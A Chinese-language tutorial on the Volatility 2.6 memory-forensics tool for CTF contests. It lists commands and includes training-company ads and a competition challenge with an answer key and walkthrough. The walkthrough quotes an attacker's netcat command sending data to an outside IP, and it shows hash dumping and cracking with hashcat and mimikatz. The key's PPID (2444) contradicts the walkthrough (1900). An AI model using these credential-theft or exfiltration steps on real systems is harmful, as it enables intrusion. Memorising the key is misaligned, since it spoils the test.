1-1. Volatility2.6简介

Volatility 是一个完全开源的工具,用于从内存 (RAM) 样本中提取数字工件。支持Windows,Linux,MaC,Android等多类型操作系统系统的内存取证。
那么针对竞赛这块(CTF、技能大赛等)基本上都是用在Misc方向的取证题上面,很多没有听说过或者不会用这款工具的同学在打比赛的时候就很难受。
当然,这款工具在安装的时候也是非常难受,一大堆报错会让你很崩溃,但是你搞定这些事后对你的取证赛题将会突飞猛进!
后续我也会更新解决各种疑难杂症报错的解决方案给大家。

2-1 Volatility2.6在Linux与Windows下的安装方法

2-1-1. Volatility2.6 Kali Linux下安装教程

Volatility2.6是基于Python2来实现的,而Volatility3的基于Python3来实现的,所以我们需要Python2的环境,推荐在kali下配置,因为kali自带Python2和Python3的环境,这样我们2.6和3的版本可以共存。
后续我也会写文章出Volatility3的安装和使用教程

该项目目前在Github上的开源项目地址以及官网:


https://github/volatilityfoundation/volatility

https://www.volatilityfoundation/releases

直接GitHub拉项目到Kali中或者通过官网下载对应版本并解压即可

到目录文件下 make install 或者 python2 setup.py install 进行安装

安装完成后执行 python2 volatility/vol.py -h 可以看到版本号即为安装成功

培训、环境、资料、考证
公众号:Geek极安云科
网络信息安全群:624032112
网络系统管理群:223627079
网络建设与运维群:870959784

极安云科专注于技能提升,赋能 
2024年世界职业院校技能大赛争夺赛一等奖2所、二等奖3所、三等奖4所院校获奖! 
2024年广东省高校的技能提升,受赋能的客户院校均获奖!
2024年江苏省赛一二等奖前13名中,我们赋能客户占五支队伍!
2024年湖南省赛赋能三所院校均获奖!
2024年山东省赛赋能两所院校均获奖!
2024年湖北省赛赋能参赛院校九支队伍,共计斩获一等奖2项、三等奖7项!

2-1-2. Volatility2.6 Windows下安装教程

在官网找到自己合适的版本下载即可,同时电脑要安装Python2的环境

cmd下运行volatility_2.6_win64_standalone.exe -h 即可

3-1. Volatility2.6的使用方法

3-1-1. 基础语法以及参数

-h:查看帮助

-f:指定镜像

imageinfo:获取当前内存镜像基本信息

–profile:指定镜像对应系统

相关命令后接参数:

-p:指定PID

-Q:指定内存地址

-D/–dump-dir:指定导出目录

-o:指定注册表的virtual地址

3-1-2. 常用命令以及语法

volatility -f 镜像 参数 命令
示例:volatility -f XXX.raw --profile=Win7SP1x64 pslist

常用命令

imageinfo    #查看镜像系统信息 使用对应版本的镜像,后面的参数使用–profile(两根横杠) --profile=Win7SP1x64

pslist 		#看完镜像直接查看这个镜像上有那些进程正在运行 pslist应该比较好理解就是进程的列表的意思。
psxview		#可查看一些隐藏进程
pstree 		#以树的形式来列出正在进行的进程,不会显示出隐藏或未链接的进程

cmdscan		#查看镜像的历史命令,就是和linux中history差不多。
consoles	#这个会比上面那个更好一些,能看到指令的输入和输出。
cmdline		#此指令将会列出所有命令行下运行的程序
cmdscan		#提取内存中保留的 cmd 命令使用情况
dlllist		#显示每个进程的加载dll列表
netscan 	#获取到当时的网络连接情况
svcscan		#查看服务
modules 	#查看内核驱动
modscan/driverscan 		 #可查看一些隐藏的内核驱动
ShimCache				#来识别应用程序兼容性问题。跟踪文件路径,大小,最后修改时间和最后“执行”时间.

privs		#显示进程权限
envars		#显示环境变量

filescan	#查找文件,可搭配 grep | "xxx"   /  filescan | grep -E “png”

memdump -p [PID] -D 保存目录			#通过相应的进程能直接dump出相关的文件。
dumpfiles -Q [16进制位置] -D 保存目录	 #通过16进制位置dump出相关的文件。

editbox		#查看系统正在运行的编辑本
dumpregistry -D 保存目录  #导出系统的注册表
screenshot -D 保存目录	  #查看并导出屏幕的截屏【需要安装PIL库】
clipboard				#查看剪贴板数据,加一个-v可以导出相关的数据。
iehistory				#查看浏览器的历史记录

printkey -K "SAM\Domains\Account\Users\Names"	#查看用户名
printkey -K "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"  #打印出最后登录的用户
hashdump				#获取各个账号的MD5加密密码
hivelist				#获取注册表单元配置列表
#找出获取system 的 virtual 地址,SAMvirtual 地址,然后在使用hashdump -y SYSTEM_virtual -x SAM_virtual.  (通过hivelist找出用户)

4-2. 常用命令以及语法

4-2-1. 查询内存镜像操作系统

python2 volatility-master/vol.py -f 1.vmem imageinfo

拿到镜像后例行识别操作系统,这边可以看到操作系统的相似度依次排序,越靠前说明越有可能是这个系统,(参考nmap -o参数的操作系统识别),后续所有指令前面都需要跟上 --profile=XXXX 参数来指定操作系统

4-2-2. 列出内存镜像运行的进程

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 pslist

#查看一些隐藏进程

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 psxview


#以树的形式来列出正在进行的进程,不会显示出隐藏或未链接的进程

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 pstree


#显示进程权限

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 privs

4-2-3. 提取内存中 cmd 命令使用情况

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 cmdscan

我这个镜像貌似没有就不演示了

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 consoles

这个会比上面那个更好一些,能看到指令的输入和输出

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 cmdline

此指令将会列出所有命令行下运行的程序

4-2-4. 显示每个进程的加载dll列表

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 dlllist

4-2-5. 获取到当时的网络连接情况

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 netscan

可以看到这边有个1.exe的网络通信状态是ESTABLISHED且IP归属为海外,可以初步判定为恶意程序(木马、挖矿程序等)

补充:
1、LISTENING状态
  服务启动后首先处于侦听(LISTENING)状态。

2、ESTABLISHED状态
  ESTABLISHED的意思是建立连接。表示两台机器正在通信。

4-2-6. 查看服务

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 svcscan

4-2-7. 查看内核驱动

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 modules

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 modscan/driverscan  #可查看一些隐藏的内核驱动

4-2-8. 跟踪文件路径,大小,最后修改时间和最后“执行”时间.

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 shimcache

4-2-9. 显示环境变量

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 envars

4-2-10. 文件扫描

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 filescan

#查找文件,可搭配 grep | “xxx” / filescan | grep -E “flag”

4-2-11. 通过16进制位置dump出相关的文件

#参数:dumpfiles -Q [16进制位置] -D 保存目录

ython2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000003b33fb70  -D . 

dump出相关文件后可以进行下一步操作

4-2-12. 通过进程号dump出相关的文件

#参数:memdump -p [PID] -D 保存目录

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 memdump -p 2368 -D .

4-2-13. 查看系统正在运行的编辑本

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 editbox

4-2-14. 导出系统的注册表

#参数:dumpregistry -D 保存目录

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 dumpregistry -D .

4-2-15. 导出镜像当前截屏【需要安装PIL库】

#参数:screenshot -D 保存目录

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 screenshot -D .

在没有头绪的时候可以看一下截屏,说不定有意外收获可以看到打开的窗口

4-2-16. 查看剪贴板数据

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 clipboard

这个镜像貌似剪切板没数据。

4-2-17. 查看浏览器的历史记录

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 iehistory

4-2-18. 查看系统账户

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 printkey -K "SAM\Domains\Account\Users\Names"

4-2-19 查看计算机名

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 printkey -K "ControlSet001\Control\ComputerName\ComputerName"  


这边大多数系统的注册表名是固定为:ControlSet001\Control\ComputerName\ComputerName
所以可以直接利用这个注册表来print出来,有些系统版本注册表不一样的话一般用到hivlist来看注册表

4-2-20 利用hashdump和mimikatz破解账户密码

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 hashdump

可以看到administrator和test的账户密码是空密码,admin的则是有数据的。
补充:Windows的密码是NTLM加密,并不是MD5,所以在进行爆破的时候可以找在线的网站或者利用hashcat进行爆破,要注意是NTLM类型。

如果装了mimikatz插件的可以直接破解出明文的密码,这边不知道为啥没出来很奇怪。

python2 volatility-master/vol.py -f 1.vmem --profile=Win7SP1x64 mimikatz

国赛答案汇总解析-竞赛直播培训

我们Geek-Team为大家整理了23年十套样题的知识点汇总和答案,长达72页的PDF解析答案,有需要的各大院校欢迎前来合作!
另外,GeekSec团队提供技能大赛培训服务,GeekSec专注技能竞赛培训4年,包含网络建设与运维信息安全管理与评估两大赛项,及各大CTF培训,基于两大赛项提供全面的系统性培训,拥有完整的培训体系。团队拥有国赛选手、大厂在职专家等专业人才担任讲师,培训效果显著,通过培训帮助各大院校备赛学生取得各省 国家级奖项,获各大院校一致好评。

1.3「赛题」内存取证1

服务器场景:GEEK-QZ-NCQZ-005

任务描述:某日你获取了一个内存文件,请分析文件完成以下任务,答案请用Geek{ }进行包裹

任务答案
1.获取管理员用户密码是多少(5位) ?Geek{Geek1}
2.获取服务器主机名是什么?Geek{Geek-Yunke}
3.管理员的key文件存放在哪里(完整路径)?Geek{C:/Users/Geek-admin/Desktop/key.txt}
4.服务器中存在一个黑客外部通信IP地址是?Geek{192.168.0.101}
5.服务器本机的IP地址是多少?Geek{192.168.0.186}
6.获取恶意黑客程序的进程名Geek{nc.exe}
7.获取恶意黑客程序的进程PPID是多少?Geek{2444}
8.黑客使用什么命令建立的传输会话?Geek{nc.exe 192.168.0.101 6666}
9.获取黑客向外界发送的号码信息(完整字段)Geek{adminsnumberis18988888888}
10.镜像中极安云科的QQ群是多少Geek{624032112}
11.镜像中极安云科的微信公众号是多少Geek{Geek_Team}

1.获取管理员用户密码是多少 ?

先使用imageinfo查询内存镜像操作系统系统,查询为Win7SP1X64,由此可指定profile参数

使用hashdump查看用户的hash值,取密码字段使用hashcat爆破,由于题目提示位5位直接使用5位掩码爆破即可

培训、环境、资料、考证
公众号:Geek极安云科
网络信息安全群:624032112
网络系统管理群:223627079
网络建设与运维群:870959784

极安云科专注于技能提升,赋能 
2024年世界职业院校技能大赛争夺赛一等奖2所、二等奖3所、三等奖4所院校获奖! 
2024年广东省高校的技能提升,受赋能的客户院校均获奖!
2024年江苏省赛一二等奖前13名中,我们赋能客户占五支队伍!
2024年湖南省赛赋能三所院校均获奖!
2024年山东省赛赋能两所院校均获奖!
2024年湖北省赛赋能参赛院校九支队伍,共计斩获一等奖2项、三等奖7项!

2.获取服务器主机名是什么?

首先使用hivelist列出注册表,找到虚拟位置0xfffff8a000024010

使用hivedump过滤ComputerName字符,找到注册表详细路径

使用printkey导出键值得到主机名

3.获取的key文件存放在哪里?

filescan扫描桌面无果后尝试查看iehistory,发现key路径

4.服务器中存在一个黑客外部通信IP地址是?

netscan命令查询到正在对IP192.168.0.101发起连接

5.服务器本机的IP地址是多少?

由上题得知为192.168.0.186对192.168.0.101发起连接,本机IP则为192.168.0.186

6.获取恶意黑客程序的进程名

由上题得知黑客通过nc.exe对外发起的连接

7.获取恶意黑客程序的进程PPID是多少?

通过pslist获取到nc.exe进程的PPID为1900

8.黑客使用什么命令建立的传输会话?

使用cmdline命令查询到黑客使用命令:nc.exe 192.168.0.101 6666对外发起的连接

9.获取黑客向外界发送的信息

使用memdump命令将进程转储后查询相关关键字得到黑客传输的内容

10.镜像中极安云科的QQ群是多少 Geek{624032112}

11.镜像中极安云科的微信公众号是多少